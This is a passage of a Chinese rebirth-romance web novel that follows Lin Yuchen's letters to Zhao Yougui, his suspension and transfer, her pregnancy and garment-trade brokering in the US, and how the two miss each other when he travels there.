曾经,我告诉你楚邵奇怪。抱歉,我根本不想在这封信里提到他,感觉他会玷污我对你的情谊。
但是,我要借住他的事向你坦白:前世,我也听说过张家灭门案。甚至,我知道你来灵市看望过我的父母。
用“前世”这样的字眼很奇怪吧?
你或许会疑惑。
但是,一方面我觉得你会懂,另一方面又祈祷你不会懂。
张天鸿曾经提过一句:有一个人和你一样,你们是一类人。
若说同张天鸿走得近,又与我认识,那个人只能是你。
年前楚邵找过我,逼我的车子进上山村的祠堂。
他说:林语晨没有本事让赵有归成为市局局长。
我觉得他说得对。
——我不介意你的隐瞒,因为我也是隐瞒者。
如果你真得知道我的前世,那我多希望前世的你也能像今世这样早些回来。或许,我们的人生会完全不一样吧,不同于前世,也不同于今世。
我很抱歉让你认识那个不择手段聚敛财富的女人。那人的模样是连我自
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己、父母都不想见到的林语晨。
此生此时此刻,我只想告诉你:我爱你,愿意和你要一个健康的孩子,共度余生。你给我的支持、帮助、默默关心的爱,让我理解生活不止有复仇、怨憎,还有全新的活法。
谢谢你,有归哥!你让我值得尊敬,又觉得应该不择手段去得到你,让你爱我。
所以,在离开前,我留下这封信。希望我的坦诚能被你原谅。
只是,此刻得我真得还没有勇气面对婚姻!
我怕两个人走到最后,结局就是那样。若你同我真得一样,我想你能明白我得这种担忧。
写到这里,我要说声抱歉!这是我第三次对你说抱歉,像你刚回来时,在我家院子里说谢谢那样频繁。
我和安国学长只牵过手,但是,牵手都会让我感觉鸡皮疙瘩起立,非常不适。
后来,我买一些并不适合他的衣服送给他。
……告诉你这些,不是让你嫉妒。而是想表达:我真得忘不了你,距离让我更清晰地记得那个你醉酒的午后,稀里糊涂地送我手绢,以及那块被你藏起来的格子手帕。
我曾说:这是家传的手帕。这是我母亲嫁给我爸时打算送他的定情信物。
如今,它被你贴身藏在胸前的口袋。更甚至,回家时看到你依旧保留它,以及那条——用心险恶的围巾。
告诉你一个可恶的秘密吧:我试图在张安国的身上寻找你的影子。然而,他终究不是你。你是无法替代的存在,是我重生后的太阳。
如果,你愿意等,我希望在两年后给你一个答案。
你掉的东西,它在我这。
如果我归来时,你还没有忘记,我愿意戴着它出现在你面前。
愿你平安顺遂!
怯弱卑劣的爱情骗子
八月二十五日书
一月十六(阴历)修改
一月二十,寄。”
赵有归长出口气,将信紧紧地按在心口。
他懂她所有的意思,只是重来一次的人生真得可以改变吗?
面对沈秋霞的彩色照片,陷入了迷惘和自我怀疑。
信封里掉出一张相片,那是一只白嫩细长的左手,无名指上戴着那枚他眼熟至极的钻石戒指。
赵有归翻到相片的背面:请原谅我的狡猾!——无法放弃你的林语晨。
他看着这张照片,仰躺在椅背,哀痛的面容上绽出一抹极痛过后遇见阳光的笑容。
阴谋固然可怕,最让人难以拒绝得是阳谋。因为你会有必须踏进去的理由。
——她又何尝不是赵有归孤单两辈子后照亮前路的灯塔。
时间不会因为消失的人停留。
三月份,阳春正好。赵有归接到停职通知。
谭省没有见赵有归,只让人回复一句:“良言难劝该死鬼,慈悲不渡自绝人。你告诉他,今年我都要退休,他就不能安分半年吗?”
赵有归听懂谭省的话意,走得时候心情很放松。
前世,谭省是王织信、赵楠天、单剑雄、罗恒、孙不二等人幕后的保护伞,虽没几个大动作,却每次出手都拱起灵省的黑势力。
这一世,他能清正廉明地退出舞台,就是对灵省对他个人最好的事。
蔡厅长杀到赵有归的办公室,气得破口大骂:“姓赵的,你才干几年就敢这么放肆?你妈那事……我就不说了。这女人呢?喜欢就结婚啊。你好歹也是个局长,有谁不肯嫁你?你说出来,我去给你上门提亲。”
赵有归眨眨眼,抿唇笑着:“谢谢蔡厅长。她出国了。”
蔡厅长仿佛吃口榴莲,脸臭得不行。
“这不纯纯害人吗?你也是,再把持不住就去外面开房,带回大院算什么事?也不是!你不承认就行,又没人证物证……你也是办案人员,这个道理不懂吗?关起门来,谁知道你们干什么?退一万步,人出国,你妈过世,就当是丁忧。古代不也有守孝吗?自证会上,这么多理由好用,你干嘛不用,就硬着头皮承担责任呢?”
赵有归莞尔:“厅长,你在教我怎么逃避责任吗?”
“我……”蔡厅长扶额,“一个两个真是吃了秤砣铁了心,都有毛病。你……我懒得管你。”
赵有归送走蔡厅长,又给钱育才、孙科、宋景等人开个小会,具体没说什么,只交待做好各自分内的事。
正式离开市局时,赵有归抱了抱钱育才,老油条有老油条的活法,但是老油条也有老油条坚守的信念。
“老钱,以后他们就劳你带着了。”
“放心吧。”钱育才点头,同大伙一起送赵有归出市局。
市局门口,祁连靠在车头笑:“哟,有没有兴趣来江源县当小警员?”
赵有归摇头:“我以为你不会拒绝蔡厅长,咱们把他气得不轻。”
“嘿。他啊,嘴硬心软、言不由衷。我现在挺好,等干满五年再说吧。上车,带我去喝一杯。”祁连拍了拍车架,“庆祝你……进入普通人民群众的队伍。”
赵有归:“我得收拾东西搬出单位房子。”被祁连硬拉着上车,一起离开市局。
83. 林宝黛
“语晨:
今天是4月8日,我写给你的第一封信。此时得我从市局离开,前往京市参加会议的火车上。
不知道你在那边可有睡好、吃好?
你在信里一直说原谅、抱歉。事实上,你没有需要我原谅的地方。我只惶恐你会气我隐瞒。
你的宽容和大度让我的担心、犹豫显得可笑。
如果你想要我细说前世的事,我想等你回来时亲口告诉你。
林叔和林姨一切安好,勿念!
有归。”
这是林语晨在美丽国收到得第一封跨国信。这封信让她觉得自己的布局亦是可笑且滑稽。
然而,情侣间不就是要保持有趣和新鲜么。
在学校安顿好后,林语晨联系林中华的妹妹林宝黛,找到她协商租一间房子留着办公住宿。
林宝黛起初对这个女孩很有好感。不久后,这个女孩的肚子像吹气球一样大起来,顿时生出反感。
一个留学在外的女生蠢到被外国人搞大肚子。若是为绿卡,简直愚蠢,又不见她的外国男友,她是失心疯吗?
林语晨渡过怀孕前三个月的不稳定期,才察觉到房东的反感情绪,同她谈话:“宝黛姐,这个孩子的父亲是中国人,在大洋彼岸。他甚至不知道这件事。”
林宝黛惊讶之余对林语晨的人生观感到可笑。一个求学女孩竟敢在异国他乡怀上本国男子的孩子?
“这个答案不仅不能改变我对你的认知,而且更让我觉得你——傻!傻透了。”
“或许吧。”林语晨拽着这个月收到的国内信,淡定大方地解释,“但是,我不后悔。如果我和他没有未来,那这个孩子只会是我自己的孩子,独属于我一人。我有能力和精力养大她,为什么不要呢?”
林宝黛看着她拽紧的信封:“事实上,你的想法不是这样吧?不过,你这样想竟不让人反感,还觉得挺有意思。三个月来,你一共收到两封信,难道就是孩子的父亲寄给你?”
林语晨低头看着信封,默默点头:“是。自我来这边,远洋信就没有断过。虽然多数报得仅是平安,但我们彼此知道对方的点滴消息。如果我毕业后归国,他没有变心,我会告诉他实情并嫁给他。”
林宝黛哂笑,伸出手,从林语晨的手里拿过信。
信封上用英文写地址,拆开后里面是一封繁体中文信封,不难想象这封信转辗到港城,由国际特快二次寄出。
再拆开后,里面是一封简体普通话信笺。信封上的钢笔字体流畅硬朗,可以想象写信人的手劲不小。
她拿着信示意了下。
林语晨觉得没什么好隐瞒,同意她看信上的内容。
林宝黛看着折叠方正的信纸,想象那个让林语晨小姑娘牺牲这么大的男人恐怕是一个性格古板方正的人。这样的人竟然会做出搞大女学生肚子这种事,简直是表里不一的畜生。
她打开折叠的信纸,入目是印刷田园色系的淡蓝色渐变画面,信纸的下半部分是乡村图案。字不多,工工整整的楷体字,没有盖住大篇幅的信纸图画。
总体来说,字漂亮,信纸漂亮,但是字数不多,不是人太闷,就是感情不深!
林宝黛能夸得是:“信纸很别致。”
林语晨好奇赵有归写什么,看了眼:“这是赵家村的田野背景色,五月份的油绿麦田,很清新。这些是乡村老房子,这个屋顶是我家!
前面的信还没有这些图画呢。没想到他把我在信里说记挂家乡的话放在心上,用家乡图画做信纸的背景图。”
“真的?”林宝黛从质疑到吃惊,如今有些小惊喜,“他用这个方法缓解你的思乡情?呵,真有意思。据我所知,这可能是国内第一次以固有背景做信纸底色吧,很用心。改变我对这个男人的一点小看法。总体来说,这个我未曾谋面的男人有些……闷骚。”
林语晨温柔一笑,想起赵有归重生的事。
若按楚邵的预计,这个秘密会成为两人矛盾冲突的事因,却因为林语晨的智慧而化解。
分别和距离是淡化矛盾和解决问题的有效办法之一,注定让楚邵的阴谋胎死腹中。
她又想起新建造纸厂名下的纸张印刷厂。
若赵有归提议张天鸿重新给信纸建模版刷色,不是没有可能,而且能大大宣传灵市和新建村,给未来新农村建设打下基础。一旦新建村在外有名气,就不会被土改拆迁成商品房的高楼。
回迁高楼哪里独门独户带院的小别墅舒服。
重生的意义在于什么呢?
——让更多人活在当下,生活得更好。
林语晨想到赵有归,软乎乎的脸上溢出由衷的幸福笑容:“他是个很好很好很值得女人霸占的男人。”
林宝黛吃一惊。一般情况,国内女人只会说:这个男人值得女人托付,而不是用“霸占”。
这说明林语晨和这个男人的感情关系中,她不是被动,而是主动一方。
“说来听听。”林宝黛生出极大的兴趣。对古板闷骚男人的印象正被颠覆,或许他是个被女人玩弄在鼓掌中的老实、笨拙的小男人?
林语晨的额头圆润有光,好像反射女性柔媚的光芒。
她怀着孕,却穿深色宽松的衣裙,让人觉得非常谦和、柔美。
“我与他的缘分很特别,说不上来是谁先主动。但是,在一点一滴中,彼此就住进对方的心里。
我曾经试过远离、放弃,甚至谦让……最终我发现他的执着是值得让人期待,像是装入橡木桶的原浆葡萄。
你知道随时间过去,它会发酵会变化,若环境适合酿造,它还会越来越醇美。
开封时,你会发现,这杯历经陈酿的酒值得你用心用代价去占有它,让他只存在你的窖藏。”
林宝黛啪啪地鼓掌,精致明亮的脸面上溢出意味深长的笑容:“我以为你是这场孕育游戏里的猎物,没想到你是狩猎方。我对你……刮目相看。
我还没看信的内容。但是,单凭这信的周转方式、折叠方式,用心的信纸……我能看得出来,他很爱,而你很犹豫,且徘徊在矛盾里。你甚至是这场爱情游戏里的猎手。
你们的问题不在他那,而是在你这。”
林语晨不吭声,默认她的话。
林宝黛丢掉之前对林语晨的顾虑,将信递回去:“好好看吧。这么用心的男人很少见。别因为你的偏见和爱情游戏,而忽视他真正需要的东西。这样有心有情的人,不该被辜负。”
林语晨解除房东对自己的偏见和误会,拿过信坐在沙发上细读。
开篇照例是问吃、睡,之后是赵有归一个月一句的工作总结,再是一些琐碎的事。
语晨:
今天是5月6日,距离上一封信已经过去28天。你在那边可有睡好、吃好?
当我写下这行字,脑海里得你又瘦一圈,同儿时背着大篓子上下山的精瘦小女孩一样可爱。
这个月我已经正式入职海市省厅,经手经贸这块。过多的话不方便在信里说,等你回来时,我把一切经过都告诉你。
请见谅!
我很好,林叔和林姨也很好。另外,有一件事要先斩后奏,我把他们接出来与我一起住在海市。
希望你不介意我霸占他们。
祝安康!
有归。
“他为什么把我爸妈接到海市,难道出什么问题?”林语晨把信封倒了又倒,只有简略得一封信,却用三个信封,也是服气,“这个不会多说点话的男人!”
林宝黛在厨房看着她生气,就知道这种闷闷的男人很容易惹女人不开心。
她笑说:“这就是恶人自有恶人磨。不知道你们谁先败阵呢。”
林语晨睨她,跑去打长途电话。
淳于芳不在港城的办事处,只能等对方回电。
几日过后,林爸和林妈的电话打进林宝黛的公寓,只简单几句话:“老家那边没办法打国际长途,有归可以帮忙安排打电话给你。
我们就住在他这,你放心吧,我们没事。你那怎么样?”
“我很好,爸妈。你们……”
“那就好,有归,快说两句,要一分钟了。”
“语晨……”
“有归哥?”
“你放心,我会照顾好林叔林姨,你在那边也要照顾好自己。每个月我都会给你寄信,下个月林叔和林姨也会寄信给你。”
“好……”林语晨还没说完,对面林妈已经在喊:时间到了到了……好几十块钱呢。
嘟嘟嘟……
林语晨哭笑不得,林爸和林妈单纯为能打国际长途就搬出灵省?通话时间也才一分钟。爸妈当我傻子吗?
她找淳于芳打听灵市那边的消息。上一次就觉得赵有归去京市开会有点奇怪,如今算是有点眉目:他调岗去海市了?但是,他的工作跨度会不会有点大啊?
淳于芳回邮件:
“其实,一开始我不知道赵局长的母亲沈阿姨过世。后来,茉莉说起才知道这事,就发生在你离开灵市那天。
之后,赵局长就不是灵市市局的局长,因作风问题和一些理由被上面停职。
他离开灵市去哪里没人知道。
我也是听你说林阿姨和林叔同赵局长住海市才知道这件事。
我已经让何罗秋去查赵局长现在的工作和住址。”
林语晨看着电脑上面“沈阿姨过世”“被停职”几个字,多想现在就打电话给赵有归。
她在房间里走来走去,眼泪如断了线的珠子般落下来。
怀孕后的她越发敏感。
再读赵有归前后两封信,这个男人一点没有提他遇到的麻烦。
“作风问题?”
林语晨能想到就是那天和赵有归从大院房里出来,被邻居们看到后的事。不领证对于他来说是个大麻烦吧?
“婶婶……对不起!”林语晨抚摸渐渐显怀的肚子,不敢想赵有归是怎么挺过那段艰难日子。
她拿起信纸写下:我怀孕近四个月……又快速划掉。
如果现在让赵有归知道这件事,他会冲来美丽国吗?
林语晨无法帮助他,更不能影响他,正如赵有归永远不在信里写他遇上的麻烦一样。
五个月后,林语晨告别学校的同学,回林宝黛家。
林宝黛看她回来,指了指桌面:“这个月的信。还有,你的邮件到了,应该是好消息。”
林语晨瞬间跳起来,不管桌面的信,先扶着大肚子跑去开电脑。
“悠着点!”林宝黛无奈地摇头。
这个女孩上门入住后的第一件事是购买各州的通讯录。
林语晨尝试用传统的销售模式,在电话本上找出国际服装品牌公司的电话,再通过电话问对方要公司的电子信箱。
又同港地的晨芳国际联系,得到何方明等工厂提供的样衣、面料照片等资料,再发邮件给各国际品牌公司负责人、设计师等。
之后,便是漫长的等待。
经过林语晨的不懈努力,三个月后终于有回信。
她趁学校假期赶往纽约州,成功搭上两个小服装品牌,与港地的晨芳国际办事处达成订单合作。
如今,林语晨来美丽国近八个月,除跟林宝黛炒股就是接私活,研究美丽国的服装市场,再把流行资料传回国内。
林宝黛看着查电脑的孕妇,捧着咖啡无奈地说:“你注意点身体,马上就要卸货。”
“天啊,是著名设计师阿利安娜给我的回信,说愿意看我们公司的样品。等国际快递到后,我打算再飞一趟纽约。”
林语晨用邮件同对方敲定约见的日期,又赶紧联系晨芳国际,“若是何方明能过来一趟就好了,不知道他赶不赶得上会面。毕竟,我只想做桥梁,而不是一直给双方牵绳的纽带。”
“你对自己的定位倒是很清楚。你知不知道我哥说你在京市很出名。”林宝黛放下咖啡。
林语晨回头笑:“感谢你帮我牵线搭桥,让我不用陪他们吃饭就赚到可观的咨询费。”
所谓的咨询费就是林语晨根据国内、国际市场,给别人出赚钱的点子。
比方合资车企业,电子产品代加工企业……
“林小姐”这个称呼的含金量正在国内各行各业发酵,成为国内企业家间默默流传的财富密码。
国内多得是
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人想请林小姐吃顿饭,谈谈近十年的社会发展方向。
林宝黛拍在林语晨的肩头:“你对市场的敏锐触角才是你能成为香饽饽的关键。”
“社会心理学告诉我们前瞻性的重要性。”林语晨俏皮笑着,所学的专业虽不能给社会大帮助,但是给她把握社会人口、人们心理变化等信息数据的支撑,对于以人为主的市场动态有更好的了解。
林宝黛就欣赏林语晨这点,无论做什么都能静下心专研,并且做到极致。
她帮着查看对方的邮件内容,以及林语晨回复的约见时间,赞许:“你定下的时间很充裕。上一次,你已经同两个服装公司达成订单,若能签上这个公司,你们灵省的面、服装企业就不愁没单子。”
“嗯,这次若能成功,我辛苦这么久就一点没白费。我只怕何方明不一定敢来,而且我希望芳芳能去一趟纽约。这次的约见很重要,晨芳国际能不能在国际市场站住脚,就看这次约见。”
林语晨说着,又连发三封电邮给淳于芳,催她务必来一趟。
同时,她叮嘱对方拿些土特产来这边送人。
在美丽国也是人际关系大国,设计师间不仅存在竞争也有合作,安娜设计师就是转介绍而来。
大洋对面的淳于芳半夜三更也没睡,敲一封牛头不对马尾的回信:
“医院已经给你预约好,几号来港卸货?”
林语晨看着邮件,沉默地抚摸圆滚滚的肚子。
林宝黛也看到邮件,轻笑:“恐怕你的麻烦不小。你也是真努力。肚子这么大,学业没落下,还不断给国内牵线。”
林语晨咬唇,楚楚地看向林宝黛:“宝黛姐,拜托你个事……”
“我不干!我有自己的律所要忙。你建的办事处太小,我看不上……”林宝黛捏在她肉乎乎的脸蛋,“好好好,我看在孩子的面上,如果他们来,可以陪她们去纽约州同安娜一起会谈。但是,我的费用很贵!”
“钱不是问题!芳芳过来后,这边的办事处就大起来。届时,晨芳在法律这块就交给你的律所。我们晨芳也是你回国的有力支持者,如何?”
“呵,”林宝黛竖起大拇指,回国不愁建不起律所。
大侄子林信华的快餐连锁公司、大哥林中华的中华联合超市,都需要法律业务。不过,林语晨的投桃报李确实让人高兴。
除生孩子的观念不一样,她和林语晨面对爱情、财富和工作上面的观念出奇一致。
林语晨赶紧抱住她:“宝黛姐,我们留学生中传一句话:宝黛律所是我们留学生最好的保护伞。”
“少拍马屁。你这么有诚意,我就答应吧,正好见见我未来的合伙人淳于芳。另外,免费告诉你个好消息。”
“嗯?”林语晨放开她,摸着鼓胀胀的肚子,扶着后腰去找东西吃。
林宝黛赶紧抢在她前面拿几块面包过来,边说:“我听林中华说,京市那边派出一支经贸队伍,联合几大经济发展不错的省、市,组成经贸联合会谈组。届时这批人会到爱奥瓦洽谈经济合作等事宜。
若是政府那边和谈成功,消息一经公布,对你们的合作也非常有利。”
林语晨嚼着面包,鼓着肉肉的腮帮子:“为什么不说我们这些小商人的努力让美丽国看到我国的巨大市场前景,促进双边贸易呢?”
“噗……还得是你这样的性子做生意,一点都不吃亏啊。”林宝黛摸在她圆滚滚的肚子,感受里面的胎动,取笑着,“有时候真羡慕你,有时候又觉得你傻。不过,她一定会像小天使一样可爱。”
林语晨知道林宝黛选择丁克,这辈子大概率不会要孩子。
“她确实很乖,人家说三四个月会害喜,我都没有反应,而且,谢谢宝黛姐容忍我这么久。”
“你一直穿宽松衣服,一个月见不到你三天。四个月的时候,我才发现你的肚子,已经显得我很笨好吗?
你也真是,在学校一点不怕流言蜚语,受人欺负也不告诉我。若不是我认识你们系教授,都不知道怎么帮你。
你啊,大着肚子吃不好,除脸有肉,看着像孕妇,其它地方都快瘦脱形。”林宝黛感慨句,“做妈咪真是不容易。”
林语晨整个人除脸外,其它地方都很瘦,肚子却很大,像麻杆装着一只皮球。只一张脸从以往的清妍变成微肉的充满母性莹光的孕妈脸。
对于怀孕,她一点都没有后悔,甚至在预料之中。
自从在京市读书时去医院检查身体,证明可以受孕,她就一直期待要一个属于自己的孩子。
如今,她马上就要做妈妈,圆上两辈子的期待。
美丽国的大学放假,林语晨也接到何方明、淳于芳,以及面料厂商罗广真,同林宝黛一起组成团队,前往纽约会谈。
三天的洽淡会非常顺利,设计师和阿莲负责人对国内低廉的成本价感到满意,主要是何方明的服装公司提供的样衣做工堪称完美。
对于面料公司罗广真提供的新式面料,以及制作的简单款式也表示很有兴趣。设计师当场就用罗广真的面料设计一款简约大方的款式,负责人表示可以考虑。
三日的商谈下来,不论是晨芳这边还是阿莲那边都对合作充满期待。
晨芳因为林语晨前头牵线的两家小品牌公司有成功出货的案例,对于阿莲的大订单不仅没有压力而且充满必胜的成就感。
只是,作为厂商的何方明不仅在一个月后要接待外国有人参观服装企业,还有出口货物的生产、交接压力。
晨芳国际说一就是一,不仅同阿莲签订合同,又同何方明的华丽服装企业也签订单合同,以保证三方的利益。
商业会谈结束后,淳于芳就马不停蹄拉林语晨坐上回港飞机。
在座位上,她摸着林语晨的肚子,忧心忡忡说:“你可别在飞机上生啊,要生也等出境生。”
林宝黛在旁边听到,取笑说:“大家都赶着在美境内生,就你们赶着往港地跑。”
淳于芳和林宝黛已经非常熟悉,直接脱口而出:“那还不是孩子爸爸的成分太敏感。”
“所以,孩子爸究竟是谁呢?”林宝黛对那个未曾谋面的小男人充满好奇。
84. 错过了
此时的“小男人”正在奥州参与经济合作会谈。
赵有归虽然不是这次团队的主力,但是作为重要城市的经济代表,也需要极力配合会谈,展现本市的发展前景、联合企业代表商谈、协助他们签订双边贸易的订单。
五天的洽谈会结束后,赵有归同负责所有人安全的靳燕好通气:“燕好,接下来我就独自行动。”
靳燕好有些不理解:“你真去找她啊?林语晨害你作风不正,离开市局,欠张团长那么大的人情,你还惦念不忘去找她呢?”
“她没有害过我。一切都是我自愿。”赵有归拍在燕好的肩头,同负责人说了声,又打电话告知远在海市的林大宝和林兰香去找林语晨,而后马不停蹄往加州飞去。
然而,等他按林语晨的信件地址找去,林宝黛和林语晨都不在住宅。
他跑去找隔壁邻居打听两人的去向。
邻居用英文回说:“抱歉,我已经五天没有看到这家人出来,应该出去旅游或到医院生孩子吧。”
“生孩子?”赵有归心头微惊,用英文问,“谁有孩子?”
“MorningChen,肚子这么大。”邻居比划腹部,“她很美,希望她的孩子和她一样漂亮。”
邻居的妻子紧接说:“上帝保佑她能顺利生产。”
赵有归呆立当场,回神后不可置信地撸把额头。
细算时间,林语晨出国前已经怀孕。若是她生孩子,就在这段时间。而这女人一共写七封信,一点没提到这件事。
此时,赵有归冒出股无名火,担心她这么多月里一个人挺大肚子在国外求学、奔波……她究竟是怎么熬过来?
一边是欣喜若狂:我要做爸爸?爸爸!
一边是焦心不安和无穷无尽地担忧,最终化为一句:“她人呢?”
叽里呱啦的邻居被问懵,摊开双手:“抱歉,我真不知道她们去哪里。”
赵有归也说抱歉,压住有些发急的语气:“抱歉,我可以借用你家的电话吗?我需要尽快知道Morning的人在哪。”
邻居夫妻挺不错,请他进屋,让他打电话。
赵有归先打给靳燕好,告诉他一个电话号码,让他帮忙联系使馆,查林语晨去向。
等回电的时间里,他的心宛如在热锅上煎熬,解开西式的正装外套、拽松黑色的领带,宛如一个游走在悬崖边的暴徒。
他无法控制自己不去想象林语晨现在的状态,过往沉着的脑海像是掀起暴风雨的大海,浮动各种念头,影响他的冷静。
邻居有些被吓到,给他倒杯水,问他和Morning的关系。
赵有归深吸口气,喝口水缓了缓情绪:“我是她的丈夫,孩子的父亲。”
邻居夫妇震惊,也一直好奇Morning肚子里的孩子父亲是谁?没想到孩子的父亲在今天突然空降。
妻子同林宝黛和林语晨打听过几回,都没套到什么消息。这下满足两夫妻一直以来的好奇心,也理解这个男人的焦虑不安。
在赵有归等电话的时间,邻居夫妇说起大半年里林语晨路过家门口时的动态以及现在的模样,希望安抚这个可怜的男人。
赵有归仔仔细细地听着,等电话铃声一响就接起来。
靳燕好知道对方急切,语速极快:“因为你打过招呼,使馆这边对她的行踪有大致了解。所以,她肚子里的孩子真是你吗?”
使馆那边说,她是来美后肚子大起来,说不定是个混血孩。
“我确定是我的孩子。”赵有归更急地问,“她去哪里?”
靳燕好不明白他哪来这么大的自信,闷声说:“四天前,她前往纽约州,说是有商务会谈。现在,人可能出境去港城。不是,这边的负责人一直没跟你说她怀孕的事吗?”
“我也想知道他们为什么不说。”
靳燕好猜测:林语晨在美丽国大的肚子,真不知道这孩子的父亲是哪边人。谁也不好插手这种事。
“这边的人帮我查了她的预产期在一周后。如果,你要赶回去,直接去加州飞深市,最近的航班在一天后起飞,你还有时间买机票。
……所以,你确定孩子是你吗?”
嘟嘟嘟……
赵有归没再理睬靳燕好的好奇心,一跃翻过沙发,看到邻居追来,掉头拥抱他:“谢谢。”
邻居兴奋地说:“祝你们幸福。”
赵有归打车去机场,买第二天的机票准备飞回国。
*
前往港城的飞机上,林宝黛得知“小男人”是公务员,提醒说:“若是这样的成分,语晨就要回深地生孩子。这样才不会真正影响到孩子父亲的事业。”
林语晨听进这话,已经害赵有归作风不正一次,不能再给他带麻烦。
淳于芳挽住她的手臂,轻轻地摸在她圆滚滚的肚子:“累不累?我真得好担心啊。”
林语晨摇头:“我都说没这么快生。前往纽约州时,医生说距离预产期还有半个月,赶得上回国。”
她感觉淳于芳比要生孩子的自己还忧虑,岔开话题,“茉莉呢,现在怎么样?”
“她现在是娱乐圈里的滚刀肉,哪里有戏就去争,可人家有班底,美女也多,怎么会要内地演员?她只能做武打替身。”
淳于芳想起自己没帮上大忙,又说,“你知道那边的水深,没依附关系,很难出人头地。茉莉又是那个脾气,不肯低头,喝酒砸桌,唱歌嚎嗓……谁找她玩?你能想象那场面吧?说来也是我太没用。”
林语晨轻叹口气:“不怪你。等我把孩子生下来,咱们给她组个团队、申请个公司,让她演个够本。”
“你的口气好大,我到现在都不敢说这句话。”淳于芳紧张的心情松弛些,真怕语晨怪自己没有帮上茉莉。
她贴在林语晨耳边报晨芳国际目前的市值,“我现在怕断资金链。”
林语晨分析晨芳国际目前的业务:进出口的货代申报业务,从港澳申报转国际申报,市场代购业,国内服装和国际服装的中间商,晨芳市场大厦的四成控股,其余六成属于国有……说起来晨芳的业务挺多,但真正赚钱还是晨芳大厦和货代方面,以及未来服装方面会有更大进项。
一切利好。主要在于稳住现在的成就和业务。
她在淳于芳旁边贴耳说目前的存款数。
淳于芳瞪大眼,捂嘴压住惊呼:“你的个人流动资产比我多得多。这么涨这么多?”
林语晨轻轻地拍下她:“师娘帮我在港城有投资。林中华感念我的帮忙,年中给我打过款,数额可观。
宝黛姐帮我牵线国内企业家的咨询作业。他们给的费用够我跟宝黛姐学买纳克所的股票。
后面,我就出师,凭经验和财报入股,赚得不错。
出发前,我已经把那笔投资的钱交给专业理财人管理。目前我的手头现金够给茉莉开个小工作室。”
“语晨,你总让我惊叹。”淳于芳佩服极了,尤其林语晨走到哪里似乎都有贵人相助,又或者说,她对自身的定位从来没出过错。不做直接生意人,而是那个拥有强大人脉、赚人脉红利的中间人。
比方她这次给国内企业和国际服装品牌牵线。何方明、罗广真一定会给林语晨大大的红包,晨芳国际也会给林语晨一笔可观的业务分成!
相较于林语晨在事业、投资上的灵活,淳于芳在事业上更专注于一件事,就是把晨芳国际做大做强坐稳,不让师娘、茉莉、语晨亏钱。
林语晨握住她的手,轻声说:“财富积累到一定程度,就要转变赚钱的思路。芳芳,你和茉莉热衷于买房子,也是一种投资方式。在未来,它们会给你一定回报。”
“你呢,不买房吗?”
林语晨摸摸肚子:“离开家才知道有家的好。房子不必多,有稳定团结的家人,有个小院子招待我的好友喝茶,就可以了。”
若是房子过多,对于赵有归的事业会是一种麻烦吧?
所以,存些足够家人学业、旅游养老的钱,而房子真不用太多。
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——林宝黛说得对,若在港城生产,对于赵有归会有影响吧?
淳于芳一眼洞悉她的想法:“你是担心资产数额过大,影响赵局长的事业吧?语晨,你变了。”
林语晨也发现自己不再只考虑个人。背井离乡,真得会让人成熟很多。
“我想跟你商量个事,我想回深地生孩子。”
淳于芳看眼一旁入睡的林宝黛,想来她的话影响到林语晨。她尊重好友的选择:“下机后,我把你的行踪告诉灵市那边吧?”
“好。我亲自打电话同爸妈说。”
林爸和林妈知道,距离赵有归知道就不远。
淳于芳又说:“对了,我打听到这次经贸组赴美洽谈,赵局长也在队伍里呢。我怀疑他会去找你。如果他去找你,你们应该已经错过了。”
林语晨的脸上出现焦虑,上个月收到的信里,林爸就写赵有归要出差,但没说去哪。
她抚摸肚子,轻轻地点头:“若他出差是这几天的话,那就真错过。我已经瞒他很久。
沈阿姨过世的时候,我不在他身边,没帮上忙。若孩子的事再瞒下去,他这么好脾气的人也要恼火生气吧?
等落地后,我先给爸妈打电话通知他们。他们会有办法联系有归,让他来找我。”
“你真是死死拿捏赵局长啊。等他到你身边,再大的怨气都被孩子化解。”淳于芳已经摸到点林语晨做事的经验,“你能作出这个决定一定是深思熟虑,说明赵局长经过你的考验。”
林语晨莞尔,又问起她和茉莉的感情经历。
淳于芳摇头说:“我和刘照霖交往五个月后,他想要和我结婚。言辞间希望我怀孕后把公司交给他打理。我听师娘的建议吓唬他,让他签财产公证书。你猜他什么反应?”
不等林语晨回应,就说,“他的态度来个一百八度大转变。
后来,公司里流传我人品不正、游戏男下属的风言风语。我找个理由把他开了。
如今,我想明白:如果结婚不能增进我的个人财富,那就是我人生的消耗品,既然要产生损耗,不如保持原样,只让爱情给我美容。
孩子嘛,我学你要一个属于我自己的孩子。”
林语晨劝道:“不是所有男人都是楚邵、刘照霖这类。芳芳,你一定会遇上一个好男人。”
淳于芳的脑海里晃过认识的男人,摇头笑:“算啦。等我真遇上,我一定抓住好吗?不说我啦。茉莉一直留在港城没回去,都要疯魔了。”
她知道除这些人,林语晨还关心一件事,又说,“楚氏建筑在灵市扎根,在我们晨芳对面建四季大楼,恐怕要打擂台。”
林语晨的神色瞬间肃正,了然道:“意料之中。灵市的地理位置决定它的经济价值。楚邵把总部转回灵市是战略布局之一。
你让何罗秋盯着楚氏,派几个我们的人进去,建筑行业上面混凝土不达标、钢筋改标号……这些都是可以扳倒楚氏的证据。”
“好。”淳于芳轻笑,“我们晨芳和楚氏怎么就成天生的敌人?”
林语晨莞尔:“你怪我吗?”
“不。他那种人发了财也不做好事。”淳于芳抱胸说,“一个月前,我在灵市看到孙佳人姐妹,在天上人间会所工作,我让人举报她们,警察去巡检几回。”
“结果呢?”林语晨没想到过这么久,淳于芳还没放下堂姐的事。
“会所里的设施有些问题,人没问题,正规的经营场所。”淳于芳轻出口气,“总有一天,我要彻底扳倒这两姐妹。所以啊,语晨,你有债要讨,我有仇要结。咱们大姐何必说二姐呢?”
林语晨含笑挽住她的手臂。
淳于芳又说:“我们三个人里茉莉最没心没肺,一直追寻梦想。等这次事情结束,你帮她时算上我一份,咱们铁三角再行动,一起让她做女主角。”
“好。”林语晨回头看眼后面累睡着的何方明、罗广真等人,默默一笑。
重生归来,总算做些有意义的事。
85. 待产中
“喂,妈,是我语晨!”
林兰香放下手里的篮子,第一反应抬头看墙上的挂钟:“这个时间你那边是凌晨三四点吧,不睡觉打我电话干啥?难道有归到你那啦?”
电话那头的林语晨微愣:“他真去加州找我了?”
“是啊。我让你爸在上个月的信里写上,他非说让有归给你惊喜。哎,你这什么意思啊,有归没到你那去吗?他明明打来电话说过去了呀。”
林语晨想果然同淳于芳预计的一样错过,当真是好事多磨。
她轻轻地笑了声:“妈,你要做外婆了。”
“!”林兰香眨眼、再眨眨眼,看墙上的钟点,“睡糊涂了?”
